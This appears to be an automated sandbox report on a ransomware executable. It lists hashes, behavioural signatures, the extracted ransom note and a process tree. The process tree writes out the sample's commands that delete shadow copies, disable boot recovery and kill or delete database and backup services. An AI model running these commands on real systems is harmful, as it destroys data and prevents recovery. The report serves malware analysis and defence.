Overview

overview

10

Static

static

10

4075d6e02c...d6.exe

windows7-x64

10

4075d6e02c...d6.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    142s
  • max time network
    188s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-10-2022 13:00

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General

  • Target

    4075d6e02c022ee45e0cd1c826abf749200639ee8ebc42375dac2430abafb5d6.exe

  • Size

    159KB

  • MD5

    121ec45315b1cc9d73c9f44fad976694

  • SHA1

    18f1fce2a63883d4eb5e796fc946094dbd948894

  • SHA256

    4075d6e02c022ee45e0cd1c826abf749200639ee8ebc42375dac2430abafb5d6

  • SHA512

    fa592d7c282d3e726197d6b9207f61fb0cef56e2a3534fbded16269d293af522bc0e93d8107137edb8ffe2ed2ff94357d824ca84c24c8b4c9d6f6696f071170e

  • SSDEEP

    3072:vfCpcDozERHWkC1rd3CC5UB5KvSS0+9Pzo9p04/t9LU5Uht9e8A+BVfRbixpJ+L:vfCpc/RHcQC50e0QPCiEtVvthA7g

Score
10/10
evasionransomware

Malware Config

Extracted

Path

C:\$Recycle.Bin\S-1-5-21-2295526160-1155304984-640977766-1000\RECOVERY FILES.txt

Ransom Note
YOUR FILES ARE ENCRYPTED !!! TO DECRYPT, FOLLOW THE INSTRUCTIONS: To recover data you need decrypt tool. To get the decrypt tool you should: 1.In the letter include your personal ID! Send me this ID in your first email to me! 2.We can give you free test for decrypt few files (NOT VALUE) and assign the price for decryption all files! 3.After we send you instruction how to pay for decrypt tool and after payment you will receive a decryption tool! 4.We can decrypt few files in quality the evidence that we have the decoder. Do not rename, do not use third-party software or the data will be permanently damaged CONTACT US: [email protected] If first email will not reply in 24 hours then contact with reserve address: [email protected] YOUR PERSONAL ID: F16D28A37EFD In case of non-payment of the ransom, your data may be published in the public domain. Our page in twitter with data leaks: https://twitter.com/mallox_leaks �
URLs

https://twitter.com/mallox_leaks

Signatures

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Stops running service(s) 3 TTPs
    evasion
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4075d6e02c022ee45e0cd1c826abf749200639ee8ebc42375dac2430abafb5d6.exe
    "C:\Users\Admin\AppData\Local\Temp\4075d6e02c022ee45e0cd1c826abf749200639ee8ebc42375dac2430abafb5d6.exe"
    1⤵
    • Checks computer location settings
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4852
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C sc delete MsDtsServer100&&sc delete MSSQL$SOPHOS&&sc delete MSSQLFDLauncher&&sc delete MSSQLSERVER&&sc delete MSSQLServerADHelper100&&sc delete MSSQLServerOLAPService&&sc delete ReportServer&&sc delete SQLAgent$SOPHOS&&sc delete "SQLANYs_sem5"&&sc delete SQLBrowser&&sc delete SQLSERVERAGENT&&sc delete SQLWriter&&sc delete B1LicenseService&&sc delete b1s50000&&sc delete b1s50001&&sc delete b1s50002&&sc delete B1ServerTools&&sc delete B1ServerTools64&&sc delete B1Workflow&&sc delete COMSysApp&&sc delete Gatekeeper64&&sc delete isapnp&&sc delete "SAP Business One RSP Agent Service"&&sc delete SBOClientAgent&&sc delete "SBODI_Server"&&sc delete SBOMail&&sc delete SBOWFDataAccess&&taskkill /f /im db*&&taskkill /f /im apache*&&taskkill /f /im mysql*&&taskkill /f /im Notifier*&&taskkill /f /im IBM*&&taskkill /f /im copy*&&taskkill /f /im store*&&taskkill /f /im sql*&&taskkill /f /im vee*&&taskkill /f /im wrsa*&&taskkill /f /im postg*&&taskkill /f /im sage*&&taskkill /f /im msdt*&&taskkill /f /im ora*&&taskkill /f /im microsoft*&&taskkill /f /im backup*&&taskkill /f /im http*&&taskkill /f /im office*&&taskkill /f /im cube*&&taskkill /f /im team*&&taskkill /f /im b1*&&taskkill /f /im sbo*&&taskkill /f /im reporting*&&taskkill /f /im sav*&&taskkill /f /im fd*&&taskkill /f /im microsoft*&&net stop MSSQLFDLauncher&&net stop MSSQLServerOLAPService&&net stop ReportServer
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1056
      • C:\Windows\SysWOW64\sc.exe
        sc delete MsDtsServer100
        3⤵
        • Launches sc.exe
        PID:1924
    • C:\Windows\system32\vssadmin.exe
      "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet
      2⤵
      • Interacts with shadow copies
      PID:4944
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
      2⤵
        PID:4392
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no
        2⤵
          PID:5080
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4120

      Network

      MITRE ATT&CK Enterprise v6

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      Downloads